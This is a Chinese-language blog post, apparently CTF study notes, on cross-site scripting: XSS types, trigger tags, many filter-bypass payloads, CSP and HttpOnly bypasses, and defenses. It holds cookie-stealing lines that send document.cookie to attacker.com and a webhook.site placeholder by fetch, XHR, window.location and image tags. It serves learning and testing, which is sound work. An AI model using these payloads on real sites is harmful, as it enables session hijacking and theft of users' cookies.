XSS漏洞

XSS是基于前端的一种攻击,其实就是非Web应用自身的JS代码被黑客恶意插入,通过执行恶意的JS代码,可以导致窃取敏感信息、篡改网页内容或劫持用户会话,大部分情况是窃取Cookie,在你登录账号后的情况下,部分Web应用通过Cookie可以导致黑客能直接登录你的账号

XSS的分类

存储型XSS

img

  • 恶意脚本存储在后端中(数据库、日志文件、评论等)
  • 持久性攻击,影响所有访问相关页面的用户
  • 危害最大,传播范围广
  • 不需要用户主动触发

在CTF中,利用GET、POST或者抓包在Referer,Cookie的地方植入我们的恶意脚本

反射型XSS

img

  • 恶意脚本存在于URL参数中
  • 通过HTTP请求立即执行,不存储在服务器
  • 需要诱骗用户点击恶意链接
  • 影响范围相对较小

在CTF中,题目会给一个输入框,然后绕过过滤,执行恶意脚本

DOM型XSS

img

  • 完全在客户端执行
  • 不涉及服务器端代码
  • 通过JavaScript修改DOM结构触发
  • HTTP响应中不包含恶意脚本

JSONP型XSS

在浏览器的同源策略下,前端 JavaScript不能直接跨域请求 AJAX(一种无需刷新页面就能向服务器发送和接收数据的技术),但可以利用 <script> 标签(允许跨域加载特性)进行跨域请求(允许从一个域名中获取到另一个域名的数据),从而绕过浏览器同源策略限制

后端返回的是带回调函数的 JSON 数据,前端利用回调函数callback解析数据

攻击者可以==伪造回调函数,利用 JSONP 执行任意 JavaScript 代码==

举个栗子:
假设有个接口:

1
https://example.com/api?callback=handleData

服务器返回:

1
handleData({"name": "Alice", "age": 20});

攻击者构造如下 URL:

1
https://example.com/api?callback=alert(1)//

服务器返回:

1
alert(1)({"name":"Alice"});

浏览器执行:

1
alert(1)({"name":"Alice"});

当然也可以窃取受害者的 Cookie:

1
2
3
4
5
6
<script src="https://example.com/api?callback=evilFunction"></script>
<script>
function evilFunction(data) {
document.write("<img src='http://attacker.com/steal?cookie=" + document.cookie + "'>");
}
</script>

XSS常见触发标签

下面这些标签常与onerroronfocusonclickonmouseoveronmouseout等事件及javascript伪协议配合使用

<script>

1
<script>alert("1")</script>

<img>

自闭合标签

1
2
<img src=1 onerror=alert(1)>   
<img src=1 onfocus=alert(1)>

<a>

1
2
<a href=javascript:alert(1)></a>
<a href="" onfocus=alert(1)></a>

<iframe>

1
2
3
4
<iframe src="javascript:alert(1)"></iframe>
<iframe src="" onfocus=alert(1)></iframe>
//将<script>alert('XSS')</script>base64编码
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>

<svg>

1
<svg onfocus=alert(1)>

<details>

1
2
//ontoggle 事件在用户打开或关闭 <details> 元素时触发
<details ontoggle=alert()></details>

XSS的绕过

关键词绕过

大小写绕过

1
<sCriPt>alert(1)<sCriPt>

拼接绕过

1
<img src=1 onerror="eval['al'+'ert'](1)">

函数替换绕过

eval()
1
<img src=1 onerror="eval(alert(1))">
open()
1
<img src=1 onerror="open(alert(1))">
document.write()
1
<img src=1 onerror="document.write(alert(1))">
setTimeout()setInterval()

JavaScript 中用于延时执行代码的函数

1
2
<img src=1 onerror="setTimeout(alert(1))">
<img src=1 onerror="setInterval(alert(1))">
利用构造器

通过构造器动态生成并执行 JavaScript 代码

Set.constructorMap.constructorArray.constructorWeakSet.constructorconstructor.constructor

1
<img src=1 onerror="Set.constructor(alert(1))">
利用数组方法

[1].map[1].find[1].every[1].filter[1].forEach[1].findIndex

1
<img src=1 onerror="[1].map(alert(1))">

嵌套绕过

1
<sc<script>ript>alert('XSS')</sc</script>ript>

赋值绕过

1
2
3
4
5
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>
<img src x=al y=ert onerror=window[x+y](1)> //在网页没有嵌套框架时才有效。
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

最后一个payload解释:

['ale'+'rt'] 是一个包含字符串 'alert' 的数组

map(top['ev'+'al']) 使用 map() 方法对该数组进行操作,最终将 alert 函数赋值给数组的第一个元素

[0] 取出数组的第一个元素,即 alert 函数

valueOf() 获取该函数的原始值(即 alert 函数本身)

最后,调用 alert(1) 执行 JavaScript 代码

编码绕过

URL 编码

<被编码为%3C>被编码为%3E&被编码为%26/被编码为%2F

1
<img src=1 onerror=alert('%3Cscript%3Ealert(1)%3C%2Fscript%3E')>

HTML 实体编码

是将某些特殊字符转换成以 & 开头、; 结尾的实体格式

字符 转换为
& &amp;
< &lt;
> &gt;
" &quot;
' &#039; (当 ENT_QUOTES 被设置时)
&nbsp;
/ &#47;
= &#61;
1
<img src=1 onerror=alert('&lt;script&gt;alert(1)&lt;/script&gt;')>

Base64 编码

1
<img src=1 onerror="eval(atob('YWxlcnQoMSk='))">

alert(1)编码为atob('YWxlcnQoMSk=')

双重编码

例如,先对 < 编码为 %3C,再将%3C编码为 %253C

1
<img src=1 onerror=alert('%253Cscript%253Ealert(1)%253C%252Fscript%253E')>

Unicode 编码

Unicode 编码使用十六进制值表示字符,它可以用于替代常见的 ASCII 字符

1
<img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>

97,108,101,114,116,40,49,41alert(1) 每个字符的 Unicode 编码值

十六进制编码

1
<img src=1 onerror=eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29))>

空格绕过

在html的标签中的不同位置的空格绕过方式不是一样的

1
<html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html>

A位置: //123/%09%0A,%0C,%0D%20

B位置:%09%0A%0C%0D%20

C位置:%0B/**/ (如果加了双引号,则可以填充 %09%0A%0C%0D%20

D位置:%09%0A%0C%0D%20//>

()绕过

使用反引号

1
<script>alert`1`</script>

throw绕过

1
<script>alert;throw 1</script>
1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

onload:当 SVG 元素及其资源加载完成后触发。事件触发时会执行后面的 JavaScript 代码

window.onerror = eval;window.onerror 是一个全局的错误处理函数,当 JavaScript 执行时发生错误,它会被调用。通过将其设置为 eval,攻击者可以劫持错误处理并执行恶意的 JavaScript 代码

throw '=alert\x281\x29';:这行代码通过 throw 抛出一个异常alert(1)

单引号过滤

使用反引号

用斜杠替换

1
<script>alert(/hack/)</script>

alert过滤绕过

函数替换绕过

prompt()confirm()console.log()document.write()

编码绕过

对象方法绕过

利用对象的属性或方法来替代直接调用 alert

1
<img src=1 onerror="window.constructor.constructor('alert(1)')()">

数组方法绕过

异步调用绕过

1
<img src=1 onerror="setTimeout('alert(1)', 0)">

字符替换绕过

分割关键字绕过

通过在关键字中插入空格或注释符号( /**/)来分隔函数名

a/**/l/**/ert(1)

长度限制绕过

用拆分法

1
2
3
4
5
<script>a='document.write("'</script>
<script>a=a+'<a href=ht'</script>
<script>a=a+'tp://VPS-IP:po'</script>
<script>a=a+'rt>hack</a>")'</script>
<script>eval(a)</script>

用嵌套结构

1
<img src=1 onerror="document.write('<img src=1 onerror=alert(1)>')">

分号绕过

当只过滤了分号时,可以利用花括号进行语句隔离

1
<script>{onerror=alert}throw 1</script>

当浏览器遇到 throw 1 时,它会抛出一个错误

抛出错误时,onerror 事件会被触发,因为我们之前将 onerror 设置为了 alert 函数

结果是,浏览器会弹出一个对话框,显示 1,这就是 alert(1) 的效果

绕过CSP

内容安全策略 (Content Security Policy, CSP) 是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等。其是一种白名单策略,当有非白名单允许的js脚本出现在页面中,浏览器会阻止脚本的执行

cookie外带

XSS靶场中通常以前端检测网页是否弹窗来判断有没有被XSS,但比赛/实战中,通常以XSS真实场景,需要外带出Cookie

带出cookie(通常对+进行编码%2B)

fetch()方法

fetch() 允许 JavaScript 发送 HTTP 请求。如果 credentials: 'include',则可以携带当前站点的 Cookie

1
fetch('//webhook.site/xxxxxxxx/?cookie='+document.cookie)

window.open方法

window.open() 是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象

例如,以下代码将会在新窗口或新标签页中打开指定 URL:

1
window.open("//webhook.site/xxxxxxxx/?cookie="+document.cookie);

XHR方法

XMLHttpRequest 是浏览器提供的内建 JavaScript 对象,用于在不刷新页面的情况下与服务器进行 HTTP 通信。它是早期 AJAX 技术的核心

1
2
3
<script>var xhr = new XMLHttpRequest();
xhr.open("GET", "//webhook.site/xxxxxxxx/?cookie=" %2BencodeURIComponent(document.cookie), true);
xhr.send();</script>

XMLHttpRequest 对象

1
<script>var xhr = new XMLHttpRequest(); xhr.open("GET", "//webhook.site/xxxxxxxx/?cookie="+document.cookie, true); xhr.send();</script>

window.location 对象

window.location 可以把浏览器重定向到新的页面,此时可通过url携带cookie;使用方法例如

1
<script>window.location="//webhook.site/xxxxxxxx/?cookie="+document.cookie;</script>

下面是window.location 对象中可用于跳转的方法

window.location.href
1
window.location.href = "//webhook.site/xxxxxxxx/?cookie="+document.cookie;

window.location.assign(url)window.location.replace(url)同上

document.write方法

利用 document.write 写入某些含有src属性的标签,并将Cookie拼接到目标URL中,作为参数发送到指定的 IP 地址和端口

1
document.write(`<img src="//webhook.site/xxxxxxxx/?cookie=${document.cookie}" >`)
1
document.write('<img src="//webhook.site/xxxxxxxx/?cookie='+document.cookie+'"/>')

XSS的防范

设置 Cookie 为 HttpOnly,这样,JavaScript 无法 通过 document.cookie 访问该 Cookie,只能通过HTTP请求发送给服务器

绕过

绕过方式 说明
CSRF (跨站请求伪造) HttpOnly 不能防止跨站请求伪造攻击(CSRF),攻击者仍可在受害者的浏览器中发起请求,利用受害者的 Cookie 进行操作
XS-Leaks(跨站信息泄露) 通过 imgiframefetch() 发送请求,并观察返回数据是否有差异,可能间接推测出 Cookie 值
服务器端获取 Cookie 通过 XSS 劫持会话,让受害者访问恶意页面,然后读取本地存储的 Token触发服务器端请求 来利用 Cookie

输入验证和转义

输入验证:限制输入字符,只允许安全字符(如 a-zA-Z0-9

HTML转义:实体编码

防止恶意脚本被注入到网页中

绕过

绕过方式 说明
双重编码绕过 有些 WAF 只转义了一次,可以尝试 <script>alert(1)</script> 让服务器误解
事件属性绕过 如果 <script> 被拦截,可以尝试 <img src=x onerror=alert(1)>
DOM XSS 如果后端转义了,但前端用 innerHTML 渲染数据,仍然可以执行 XSS 代码
JSON 解析漏洞 JSON 可能会反序列化恶意代码,例如 {"data": "<script>alert(1)</script>"}

使用 CSP(内容安全策略)

限制页面中允许执行的脚本来源,防止外部 XSS 代码注入

绕过

绕过方式 说明
JSONP 绕过 某些 API 允许 JSONP 请求,仍可执行外部代码
内联事件监听 onclick="alert(1)" 可能仍然有效
数据 URI 绕过 某些 data: 方案仍然可以执行代码
动态 JavaScript 执行 eval(), setTimeout(), Function() 可能仍然可以执行恶意代码

限制 Cookie 的跨站点发送行为

绕过

绕过方式 说明
CORS 配合 XSS 绕过 如果 Access-Control-Allow-Origin: *,可以用 fetch() 请求获取敏感数据
站内跳转绕过 SameSite=Lax 允许 GET 请求,所以可以诱导用户点击链接

参考文章:

对于XSS跨站脚本攻击的学习-先知社区

前端安全之 CSP 及其常见绕过

BUUCTF上的XSS靶场


猫猫🐱



© 2025 子非鲲 使用 Stellar 创建
共发表 44 篇 Blog · 总计 109.6k 字